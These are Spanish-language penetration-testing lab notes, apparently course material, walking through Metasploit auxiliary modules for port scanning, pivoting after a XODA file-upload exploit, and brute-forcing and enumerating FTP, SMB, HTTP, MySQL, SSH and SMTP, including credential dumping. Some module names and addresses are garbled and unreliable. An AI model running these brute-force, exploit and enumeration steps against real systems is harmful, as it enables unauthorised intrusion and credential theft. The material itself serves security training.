Los módulos auxiliares se utilizan para realizar funciones como escaneo, descubrimiento y fuzzing. Tener en cuenta que el modulo de Auxiliary no puede cargar payloads.
Podemos usar módulos auxiliares para realizar escaneo de puertos TCP y UDP, así como enumerar información de servicios como FTP, SSH, HTTP, etc.
Los módulos auxiliares se pueden usar durante la fase de recopilación de información de una prueba de penetración, así como en la fase posterior a la explotación.
También podemos usar módulos auxiliares para descubrir hosts y realizar escaneo de puertos en una subred de red diferente después de haber obtenido acceso inicial en un sistema de destino.
Lab Infrastructure
Nuestro objetivo es utilizar módulos auxiliares para descubrir puertos abiertos en nuestro primer objetivo.
El siguiente paso implicará explotar el servicio que se ejecuta en el objetivo para afianzarse.
Luego utilizaremos nuestro punto de apoyo para acceder a otros sistemas en una subred de red diferente (pivotante).
Luego utilizaremos módulos auxiliares para buscar puertos abiertos en el segundo objetivo.
Demo: Port Scanning With Auxiliary Modules
# RED
ifconfig
# Inicializar Metasploit
service postgresql start
msfconsole
db_status
workspace -a Port_Scan
workspace
# Scaneo de Puertos
search portscan
use auxiliary/scanner/portscaé/tcp
show options
set RHOSTS <Target>
set PORTS 65535
run
# Dentro del resultado del analisis se encontro abierto el puerto 80
# Se ejecutar el comando curl, para ver si nos responde
curl <Target>
# A aparetemente es una pagina de XODA
# Buscamos vulnerabildiades
search XODA
use exploit/unix/webapp/kodå_file_upload
show options
set RHOSTS
set TARGETURI /
exploit
# Tendremos un meterpreter session
sysinfo
# Ahora necesitamos identificar el otro servidor
meterpreter > shell
/bin/bash -i
www-data@victim-l:/app/files$ ifconfig
# Terminamos la sesion bash
# Agregamos la ruta
meterpreter > run autoroute -s <Target other subnetwork>
# Agregar la sesion en background
background
# Ver sesiones activas
sessions
#Buscamos el modulo de escaneo
search portscan
use auxiliary/scanner/portscan/tcp
show options
set RHOSTS <Target other subnetwork>
set PORTS 65535
run
# Para realizar un escaneo con el modulo UDP, ejecutar el siguiente
# comando para guardar
back
# Modulo de UDP
msf5 > search udp_sweep
use auxiliary/scanner/discovery/udp_sweep
> show options
> set RHOSTS <Target>
> run
Quiz: Port Scanning With Auxiliary Modules
FTP Enumeration
FTP (Protocolo de transferencia de archivos) es un protocolo que utiliza el puerto TCP 21 y se utiliza para facilitar el intercambio de archivos entre un servidor y un cliente/clientes.
También se utiliza con frecuencia como medio para transferir archivos hacia y desde el directorio de un servidor web.
Podemos utilizar múltiples módulos auxiliares para enumerar información y realizar ataques de fuerza bruta contra objetivos que ejecutan un servidor FTP.
La autenticación FTP utiliza una combinación de nombre de usuario y contraseña; sin embargo, en algunos casos, se puede iniciar sesión de forma anónima en un servidor FTP configurado incorrectamente.
Demo: FTP Enumeration
service postgresql start
msfconsole
workspace -a FTP_ENUM
msf5 > search portscan
msf5 > axiliary/scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > show options
msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS <Target>
msf5 auxiliary(scanner/portscan/tcp) > run
# El resultado puede que no contenga la version del servicio
# Para encontrar la version del servicio se puede realizar lo siguiente
msf5 > search type:auxiliary name:ftp
msf5 > use auxiliary/ scanner/ftp/ftp_version
msf5 auxiliary(scanner/ftp/ftp_version) > show options
msf5 auxiliary(scanner/ftp/ftp_version) > set RHOSTS <Target>
msf5 auxiliary(scanner/ftp/ftp_version) > run
# Para Identificar una vulnerabilidad de la version
msf5 auxiliary(scanner/ftp/ftp version) > search ProFTPD
# Usar modulo de scaner de autenticacion por fuerza bruta
msf5 > search type:auxiliary name:ftp
msf5 > use auxiliary/scanner/ftp/ftp_login
msf5 auxiliary(scanner/ftp/ftp_login) > show options
msf5 auxiliary(scanner/ftp/ftp_login) > set RHOSTS <Target>
msf5 auxiliary(scanner/ftp/ftp_login) > set USER FILE /usr/share/metasploit-framework/data/wordlists/common users.txt
msf5 auxiliary(scanner/ftp/ftp_login) > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
msf5 auxiliary(scanner/ftp/ftp_login) > run
# Verificar el acceso Anonimo
msf5 > search type:auxiliary name:ftp
msf5 > use auxiliary/scanner/ftp/anonymous
msf5 auxiliary(scanner/ftp/anonymous) > show options
msf5 auxiliary(scanner/ftp/anonymous) > set RHOSTS <Target>
msf5 auxiliary(scanner/ftp/anonymous) > run
Quiz: FTP Enumeration
SMB Enumeration
SMB (Server Message Block) es un protocolo de intercambio de archivos en red que se utiliza para facilitar el intercambio de archivos y periféricos entre computadoras en una red local (LAN). Esta accion tambien se puede ver cuando se comparte un recurso compartido desde un PC a otra.
SMB utiliza el puerto 445 (TCP). Sin embargo, originalmente, SMB se ejecutaba sobre NetBIOS usando el puerto 139.
SAMBA es la implementación de SMB en Linux y permite que los sistemas Windows accedan a dispositivos y recursos compartidos de Linux.
Podemos utilizar módulos auxiliares para enumerar la versión SMB, los recursos compartidos, los usuarios y realizar un ataque de fuerza bruta para identificar usuarios y contraseñas.
Demo: SMB Enumeration
service postgresql start
msfconsole
msf5 > workspace -a SMB_ENUM
# Definimos una variable global
msf5 > setg RHOSTS <Target>
# Buscamos el modulo scanner
msf5 > search type :auxiliary name:smb
msf5 > use auxiliary/scanner/smb/smb_version
msf5 auxiliary(scanner/smb/smb_version) > show options
msf5 auxiliary(scanner/smb/smb_version) > run
# Enumeracion de usuarios SMB
msf5 > search type :auxiliary name:smb
msf5 > use auxiliary/scanner/smb/smb_enumusers
msf5 auxiliary(scanner/smb/smb_enumusers) > info
msf5 auxiliary(scanner/smb/smb_enumusers) > run
# Enumeracion de recursos compartidos
msf5 > search type :auxiliary name:smb
msf5 > use auxiliary/scanner/smb/smb_enumshares
msf5 auxiliary(scanner/smb/smb_enumshares) > show options
msf5 auxiliary(scanner/smb/smb_enumshares) > set ShowFiles true
msf5 auxiliary(scanner/smb/smb_enumshares) > run
# Fuerza bruta inicio de sesion
msf5 > search type :auxiliary name:smb
msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > show options
msf5 auxiliary(scanner/smb/smb_login) > set SMBUser admin
msf5 auxiliary(scanner/smb/smb_login) > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txtl
msf5 auxiliary(scanner/smb/smb_login) > run
# conexion por smb
# Lista de recursos compartidos
root@attackdefense:--# smbclient -L \\\\192.91 46.3\\ -U admin
# Conexion al recurso compartido
root@attackdefense:--# smbclient \\\\192.91 46.3\\default -U admin
smb: \> ls
Quiz: SMB Enumeration
Web Server Enumeration
Un servidor web es un software que se utiliza para servir datos de sitios web en la web.
Los servidores web utilizan HTTP (Hypertext Transfer Protocol) para facilitar la comunicación entre los clientes y el servidor web.
HTTP es un protocolo de capa de aplicación que utiliza el puerto TCP 80 para la comunicación pero cuando se utiliza o configura un certificado SSL para el cifrado, utiliza el puerto 443. Entonces independientemente de si estamos trando o no con un sitio web con un certificado SSL todo lo que necesita saber es que cuando esta hablando de HTTP es el puerto 80 cuando hablas de HTTPS , es el puerto 443.
Podemos utilizar módulos auxiliares para enumerar la versión del servidor web, cabeceras HTTP, directorios de fuerza bruta y mucho más. Ejemplos de servidores web populares son; Apache, Nginx y Microsoft IIS.
Demo: Web Server Enumeration
# Inicializamos los servicios de metasploit
service postgresql start
[ 0k ] Starting PostgreSQL 11 database server: main.
msfconsole
# Configuramos el espacio de trabajo [Workspace]
msf5 > workspace -a Web_Enum
[ * ] Added workspace: Web_Enum
[ * ] Workspace: Web_Enum
# Configurar la IP de la victima/hacker en la variable general
msf5 > setg RHOSTS 192.140.160.3
RHOSTS 192.140.160.3
msf5 > setg RHOST 192.140.160.3
RHOST 192.140.160.3
# Buscamos los modulos auxiliares para http
msf5 > search type: auxiliary name: http
# Modulo que permitira enumerar o imprimir la version del servidor web
msf5 > use auxiliary/scanner/http/http_version
msf5 auxiliary(scanner/http/http_version) > show options
# Configurar los parametros necesarios
msf5 auxiliary(scanner/http/http_version) > run
[+] 192.140.160.3:80 Apache/2.4.18 (Ubuntu)
[ * ] Scanned 1 of 1 hosts (100% complete)
[ * ] Auxiliary module execution completed
# Modulo para escanear los encabezados HTTP
msf5 auxiliary(scanner/http/http_version) > search http_header
msf5 auxiliary(scanner/http/http_version) > use auxiliary/scanner/http/http header
msf5 auxiliary(scanner/http/http_header) > show options
# Configurar los parametros necesarios
msf5 auxiliary(scanner/http/http header) > run
[+] 192.140.160.3:80 : CONTENT-TYPE: text/html
[+] 192.140.160.3:80 : LAST-MODIFIED: wed, 27 Feb 2019 GMT
[+] 192.140.160.3:80 : SERVER: Apache/2.4.18 (Ubuntu)
[+] 192.140.160.3:80 : detected 3 headers
[ * ] Scanned 1 of 1 hosts (100% complete)
[ * ] Auxiliary module execution completed
msf5 auxiliary(scanner/http/http_header) >
# Enumeracion de algunos direcctorios escondidos
msf5 auxiliary(scanner/http/http_header) > search robots_txt
msf5 auxiliary(scanner/http/http_header) > use auxiliary/scanner/http/robots_txt
msf5 auxiliary(scanner/http/robots txt) > run
[*] [192.140.160.3] /robots.txt found
[+] Contents of Robots .txt:
# robots .txt for attack(efense
User-agent: test
# Directories
Allow: /webmail
User-agent: *
# Directories
Disallow: /data # Directorios no permitidos
Disallow: /secure
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliar module execution complete
# Probamos el directorio no permitidos
msf5 auxiliary(scanner/http/robots txt) > curl http://192.140.160.3/data/
[*] exec: curl http://192.140.160.3/data/
# Fuerza brutoa a los directorios
msf5 auxiliary(scanner/http/robots txt) > search dir_scanner
msf5 auxiliary(scanner/http/robots txt) > use auxiliary/scanner/http/dir scanner
msf5 auxiliary(scanner/http/dir scanner) > show options
# Tiene una diccionario ya definido
# Configurar el path si es necesario
msf5 auxiliary(scanner/http/dir_scanner) > run
# Simpre podra utilizar curl para analizar y no dejarse llevar por los
# codigos de las paginas
# Busquedas de archivos
msf5 auxiliary(scanner/http/dir_scanner) > search files_dir
msf5 auxiliary(scanner/http/dir scanner) > use auxiliary/scanner/http/files_dir
msf5 auxiliary(scanner/http/files_dir) > show options
# Tiene una diccionario ya definido pero puede modificarlo
msf5 auxiliary(scanner/http/files_dir) > set DICTkONARY /usr/share/wordlists/
# Puede usar una lista de las que se muestra
# Configurar el path y extemsiones si es necesario (EXT)
msf5 auxiliary(scanner/http/files_dir) > run
# Autenticacion http
msf5 auxiliary(scanner/http/files_dir) > search http_login
msf5 auxiliary(scanner/http/files_dir) > use auxiliary/scanner/http/http_login
msf5 auxiliary(scanner/http/http_login) > show options
# Configurar la opcion de AUTH_URI y asegurar de que este configurado PASS_FILE
# / USERPASS_FILE
msf5 auxiliary(scanner/http/http_login) > set AUTH_URI /secure/
# Utilizara las credenciales por defecto
msf5 auxiliary(scanner/http/http_login) > unset USERPASS_FILE
# Establecer un diccionario
msf5 auxiliary(scanner/http/http_login) > set USER FILE /usr/share/ tasploit-framework/data/wordlists/namelist.txt
msf5 auxiliary(scanner/http/http_login) > set PASS FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
msf5 auxiliary(scanner/http/http_login) > run
# El proceso puede tardar
msf5 auxiliary(scanner/http/http_login) > show options
# Para evitar que genere todas las solicitudes fallidas y mostrar solo las que
# tienen exito, establecer el VERBOSE en FALSE
msf5 auxiliary(scanner/http/http_login) > set VERBOSE FALSE
msf5 auxiliary(scanner/http/http_login) > run
# El proceso puede ser largo.
# Segun sea identificado la version del servicio web es APACHE, podemos
# ejecutar la enumeracion utilizando un modulo
msf5 auxiliary(scanner/http/http_login) > search apache_userdir_enum
msf5 auxiliary(scanner/http/http_login) > use auxiliary/ scannev/http/apache_userdir_enum
msf5 auxiliary(scanner/http/apache_userdir_enum) > show options
msf5 auxiliary(scanner/http/apache_userdir_enum) > info
# Usamos una lista de usuarios comunes
msf5 auxiliary(scanner/http/apache_userdir_enum) > set USER FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
msf5 auxiliary(scanner/http/apache_userdir_enum) > run
# Nos devolvera una lista de usuarios posibles para realizar el ataque
msf5 auxiliary(scanner/http/apache_userdir_enum) > use auxiliary/scanner/http/http_login
msf5 auxiliary(scanner/http/http_login) > show options
# Creamos la lista
msf5 auxiliary(scanner/http/http_login) > echo "rooty" > user.txt
# Asignamos la lista
msf5 auxiliary(scanner/http/http_login) > set USER_FILE /root/user.txt
msf5 auxiliary(scanner/http/http_login) > run
# En caso de no encontrar algun usuario/password es libre de usar cualquiera lista
Quiz: Web Server Enumeration
MySQL Enumeration
MySQL es un sistema de gestión de bases de datos relacionales de código abierto basado en SQL (Structured Query Language).
Generalmente se utiliza para almacenar registros y datos de clientes y, con mayor frecuencia, implementado para almacenar datos de aplicaciones web. Por ejemplo si esta configurando Wordpres, el mismo utiliza una base de datos para almacenar datos, y el mismo puede utilizar MySQL o cualquier otro tipo de Base de Datos relacional
MySQL utiliza el puerto TCP 3306 de forma predeterminada; sin embargo, como cualquier servicio, puede ser alojado en cualquier puerto TCP abierto.
Podemos utilizar módulos auxiliares para enumerar la versión de MySQL, realizar ataques de fuerza bruta para identificar contraseñas, ejecutar consultas SQL y mucho más.
Demo: MySQL Enumeration
# Inicializamos los servicios de metasploit
service postgresql start
[ 0k ] Starting PostgreSQL 11 database server: main.
msfconsole
# Configuramos el espacio de trabajo [Workspace]
msf5 > workspace -a MySQL_ENW
[ * ] Added workspace:
Workspace: MySQL_ENU
# Configurar la IP de la victima/hacker en la variable general
msf5 > setg RHOSTS 192.140.160.3
RHOSTS 192.140.160.3
msf5 > setg RHOST 192.140.160.3
RHOST 192.140.160.3
# Buscamos los modulos auxiliares para http
msf5 > search type: auxiliary name:mysql
# Utilizamos el modulo para escanear la version
msf5 > use auxiliary/ scanner/mysql/mysql_version
msf5 auxiliary(scanner/mysql/mysql_version) > show options
# En caso de confirmar el puerto que se este utilizando puede usar el modulo scaner
# de puerto
msf5 auxiliary(scanner/mysql/mysql_version) > search portscan
msf5 auxiliary(scanner/mysql/mysql_version) > use auxiliary/scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > show options
# Configurar los parametros necesarios
msf5 auxiliary(scanner/portscan/tcp) > run
msf5 auxiliary(scanner/portscan/tcp) > use auxiliary/ scanner/mysql/mysql_version
msf5 auxiliary(scanner/mysql/mysql_version) > show options
# Configurar lo necesario
msf5 auxiliary(scanner/mysql/mysql_version) > run
[+] 192.143.6.3:3306 - 192.143.6.3:3306 is running MySQL 5.5.61-eubuntue.14.Ø4.1 (protocol 10)
[*] 192.143.6.3:3306 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
# Ataque de fuerce bruta en authenticacion
msf5 auxiliary(scanner/mysql/mysql_version) > search mysql_login
msf5 auxiliary(scanner/mysql/mysql_version) > use auxiliary/scanner/mysql/mysql_login
msf5 auxiliary(scanner/mysql/mysql_login) > show options
# Al tener conocimiento que MySQL utiliza el usuario root podemos definir un usuario
# en el parametro USERNAME
msf5 auxiliary(scanner/mysql/mysql_login) > set USERNAME root
# Ahora le pasaremos a lista de contrasenas
msf5 auxiliary(scanner/mysql/mysql_login) > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
# Tambien podemos desactivar el VERBOSE para que nos muestre solo los intentos
# exitosos y tambien para parar el analisis con el parametro STOP_ON_SUCCESS
msf5 auxiliary(scanner/mysql/mysql_login) > set VERBOSE false
msf5 auxiliary(scanner/mysql/mysql_login) > run
# Enumeracionde MYSQL Usuarios/Contrasenas/
msf5 auxiliary(scanner/mysql/mysql_login) > search mysql_enum
# SI ve la palabra admin - sera necesario incertar credenciales en el modulo
msf5 auxiliary(scanner/mysql/mysql_login) > use auxiliary/admin/mysql/mysql_enum
msf5 auxiliary(admin/mysql/mysql_enum) > info
msf5 auxiliary(admin/mysql/mysql_enum) > set USERNAME <root>
msf5 auxiliary(admin/mysql/mysql_enum) > set PASSWORD <Password>
# Modulo que nos permitira ejecutar QUERYS
msf5 auxiliary(admin/mysql/mysql_enum) > search mysql_sql
msf5 auxiliary(admin/mysql/mysql_enum) > use auxiliary/admin/mysql/mysql_sql
msf5 auxiliary(admin/mysql/mysql_sql) > show options
msf5 auxiliary(admin/mysql/mysql_sql) > set PASSWORD twinkle
msf5 auxiliary(admin/mysql/mysql_sql) > set USERNAME root
msf5 auxiliary(admin/mysql/mysql_sql) > run
# Para ejecutar consultas SQL debe de modificar la variable SQL
msf5 auxiliary(admin/mysql/mysql_sql) > set SQL show databases;
msf5 auxiliary(admin/mysql/mysql_sql) > run
# Entonces podra ver que tiene la base de datos de MySQL
# Si quisieramos utilizar una de las base de datos
msf5 auxiliary(admin/mysql/mysql_sql) > set SQL use <DB>;
msf5 auxiliary(admin/mysql/mysql_sql) > run
# Obtener mayor informacion de la BD schema (Base de Datos/tablas
msf5 auxiliary(admin/mysql/mysql_sql) > search mysql_schema
msf5 auxiliary(admin/mysql/mysql_sql) > use auxiliary/scanner/mysql/mysql_schemadump
msf5 auxiliary(scanner/mysql/mysql_schemadump) > show options
# El parametro DISPLAY_RESULTS es para mostrar los resultados en pantalla
# Insertar las credenciales del usuario SQL
msf5 auxiliary(scanner/mysql/mysql_schemadump) > set PASSWORD twinkle
msf5 auxiliary(scanner/mysql/mysql_schemadump) > set USERNAME root
msf5 auxiliary(scanner/mysql/mysql_schemadump) > run
# INFORMACION que se logro recopilar
# Informacion del Host
msf5 auxiliary(scanner/mysql/mysql_schemadump) > hosts
msf5 auxiliary(scanner/mysql/mysql_schemadump) > services
# Para mostrar las credenciales
msf5 auxiliary(scanner/mysql/mysql_schemadump) > loot
# Descargar todas las credenciales
msf5 auxiliary(scanner/mysql/mysql_schemadump) > creds
# Para ingresar a una BD de forma nativa
mysql -h 192.143.6.3 -u root -p
MySQL [ (none)]> show databases;
Quiz: MySQL Enumeration
SSH Enumeration
SSH (Secure Shell) es un protocolo de administración remota que ofrece cifrado y es el sucesor de Telnet.
Normalmente se utiliza para el acceso remoto a servidores y sistemas. El metodo de autenticacion se realiza por medio de una clave o contraseño, pero tambien puede ser por medio de llaves o keys (publica/privada)
SSH utiliza el puerto TCP 22 de forma predeterminada; sin embargo, al igual que otros servicios, puede ser configurado para utilizar cualquier otro puerto TCP abierto.
Podemos utilizar módulos auxiliares para enumerar la versión de SSH que se ejecuta en el target y realizar ataques de fuerza bruta para identificar contraseñas que puedan en consecuencia nos proporciona acceso remoto a un objetivo.
Demo: SSH Enumeration
# Inicializamos los servicios de metasploit
service postgresql start
[ 0k ] Starting PostgreSQL 11 database server: main.
msfconsole
# Configuramos el espacio de trabajo [Workspace]
msf5 > workspace -a SSH_Enum
[ * ] Added workspace:
Workspace: SSH_Enum
# Configurar la IP de la victima/hacker en la variable general
msf5 > setg RHOSTS 192.140.160.3
RHOSTS 192.140.160.3
msf5 > setg RHOST 192.140.160.3
RHOST 192.140.160.3
# Enumeracion de servicios SSH
msf5 > search type:auxiliary name:ssh
msf5 > use auxiliary/scanner/ssh/ssh_version
msf5 auxiliary(scanner/ssh/ssh_version) > show options
msf5 auxiliary(scanner/ssh/ssh_version) > run
msf5 auxiliary(scanner/ssh/ssh version) > search openssh
# Ataque de fuerza bruta
msf5 auxiliary(scanner/ssh/ssh_version) > use auxiliary/scanner/ssh/ssh login
msf5 auxiliary(scanner/ssh/ssh_login) > show options
# Llenar las opciones de BRUTEFORCE_SPEED y especificar los archivos de
# ataque de fuerza bruta
msf5 auxiliary(scanner/ssh/ssh_login) > set USER FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS FILE /usr/share/metasploit-framework/data/wordlists/common_passwords .txt
msf5 auxiliary(scanner/ssh/ssh_login) > run
# Cuando encuentra un usuario valido se establecera una sesion
# Todas las sesiones establecidoas de forma corrrecta lo podra ver en:
msf5 auxiliary(scanner/ssh/ssh_login) > sessions
# Podra ingresar a cualqueir sesion
msf5 auxiliary(scanner/ssh/ssh login) > sessions 1
# Enumeracion de Usuarios
msf5 auxiliary(scanner/ssh/ssh_login) > use auxiliary/scanner/ssh/ssh_enumusers
msf5 auxiliary(scanner/ssh/ssh_login) > show options
msf5 auxiliary(scanner/ssh/ssh enumusers) > set USER FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
msf5 auxiliary(scanner/ssh/ssh enumusers) > run
# Se enumerara los usuarios que pueden ser utilizados con neustro ataque de fuerza bruta
Quiz: SSH Enumeration
SMTP Enumeration
SMTP (Simple Mail Transfer Protocol) es un protocolo de comunicación que se utiliza para la transmisión de correo electrónico.
SMTP utiliza el puerto TCP 25 de forma predeterminada. También se puede configurar para ejecutarse en los puertos TCP 465 y 587.
Podemos utilizar módulos auxiliares para enumerar la versión de SMTP, así como las cuentas de usuario en el sistema de destino.
Demo: SMTP Enumeration
# Inicializamos los servicios de metasploit
service postgresql start
[ 0k ] Starting PostgreSQL 11 database server: main.
msfconsole
# Configuramos el espacio de trabajo [Workspace]
msf5 > workspace -a SMTP_Enum
[ * ] Added workspace:
Workspace: SMTP_Enum
# Configurar la IP de la victima/hacker en la variable general
msf5 > setg RHOSTS 192.140.160.3
RHOSTS 192.140.160.3
msf5 > setg RHOST 192.140.160.3
RHOST 192.140.160.3
# Enumeracion de la version del SMTP
msf5 > search type:auxiliary name:smtp
msf5 > use auxiliary/scanner/smtp/smtmsversion
msf5 auxiliary(scanner/smtp/smtp_version) > show options
msf5 auxiliary(scanner/smtp/smtp_version) > run
# La informacion que podemos obtener dominio/puerto
# Enumeracion de usaurios
msf5 auxiliary(scanner/smtp/smtp_version) > search type:auxiliary name:smtp
msf5 auxiliary(scanner/smtp/smtp_version) > use auxiliary/scanner/smtp/smtp_enum
msf5 auxiliary(scanner/smtp/smtp_enum) > run
# Es capaz de enumerar distintos usuarios